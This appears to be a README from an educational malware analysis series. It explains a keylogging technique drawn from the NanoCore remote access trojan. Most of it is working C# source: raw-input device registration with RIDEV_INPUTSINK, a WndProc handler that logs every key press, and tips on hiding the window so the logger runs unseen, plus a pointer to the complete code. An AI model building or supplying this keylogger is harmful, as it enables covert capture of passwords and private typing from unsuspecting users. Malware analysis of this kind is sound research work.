This is a keylogger TTP extracted from NanoCore 1.2.2.0. In this TTP, the malware registers a RAW input device to recieve all RAW inputs from the windows process of WndProc and handles the RAW inputs to the unicode characters for logging and recording everything that is typed in either on virutal or phyiscal keyboard.
- Execute the logger
- Type something
- See the log file created in Public folder
NanoCore uses exports from user32.dll, RegisterRawInputDevices to register itself as virtual device and GetRawInputData to receive RAW inputs either from physical or virutal keyboard:
[DllImport("User32.dll")]
public static extern bool RegisterRawInputDevices(RAWINPUTDEVICE[] pRawInputDevice, uint uiNumDevices, uint cbSize);
[DllImport("User32.dll")]
public static extern int GetRawInputData(IntPtr hRawInput, uint uiCommand, IntPtr pData, ref uint pcbSize, uint cbSizeHeader);
[StructLayout(LayoutKind.Sequential)]
public struct RAWINPUTHEADER
{
public uint dwType;
public uint dwSize;
public IntPtr hDevice;
public IntPtr wParam;
}
[StructLayout(LayoutKind.Sequential)]
public struct RAWKEYBOARD
{
public ushort MakeCode;
public ushort Flags;
public ushort Reserved;
public ushort VKey;
public uint Message;
public uint ExtraInformation;
}
[StructLayout(LayoutKind.Explicit)]
public struct RAWINPUT
{
[FieldOffset(0)]
public RAWINPUTHEADER header;
[FieldOffset(16)]
public RAWKEYBOARD keyboard;
}
[StructLayout(LayoutKind.Sequential)]
public struct RAWINPUTDEVICE
{
public ushort usUsagePage;
public ushort usUsage;
public uint dwFlags;
public IntPtr hwndTarget;
}
// Register for keyboard input
RAWINPUTDEVICE rid = new RAWINPUTDEVICE();
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = handle;
if (!RegisterRawInputDevices(new[] { rid }, 1, (uint)Marshal.SizeOf(typeof(RAWINPUTDEVICE))))
{
//MessageBox.Show("Failed to register raw input device(s).");
return false;
}
return true;
After the devices has been registered, the process will start receiving all inputs using the function WndProc. It is a windows procedure function that is responsible for processing messages sent to the Form Window. In our case, our malware is a hidden form application running in background, which will also receive all inputs using the function WndProc. What we need to do is to simply Handle the RAW inputs and forward the message to other Forms.
// The process that recieves all RAW inputs WndProc overridden to handle the raw inputs and log them
protected override void WndProc(ref Message m)
{
switch (m.Msg)
{
case WM_INPUT:
HandleRawInput(m.LParam);
break;
}
base.WndProc(ref m);
}
private void HandleRawInput(IntPtr hRawInput)
{
Console.Write("[x] Getting RAW input data...");
RAWINPUT input = new RAWINPUT();
uint size = (uint)Marshal.SizeOf(typeof(RAWINPUT));
if (GetRawInputData(hRawInput, RID_INPUT, IntPtr.Zero, ref size, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))) != -1)
{
IntPtr buffer = Marshal.AllocHGlobal((int)size);
if (GetRawInputData(hRawInput, RID_INPUT, buffer, ref size, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))) == size)
{
input = (RAWINPUT)Marshal.PtrToStructure(buffer, typeof(RAWINPUT));
if (input.header.dwType == INPUT_KEYBOARD && (input.keyboard.Flags & 1) == 0) // Only when a key is pressed down
{
LogKey(input.keyboard.VKey); //our custom method to record keys
}
}
Marshal.FreeHGlobal(buffer);
}
}
This program can only work as Form application because to receive RAW inputs from WndProc, we need Windows Forms. There are ways to hide forms, just minimize it and set its visibility to false.
Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries
Artifacts and code of this repository is intended to be used for educational purposes only!!!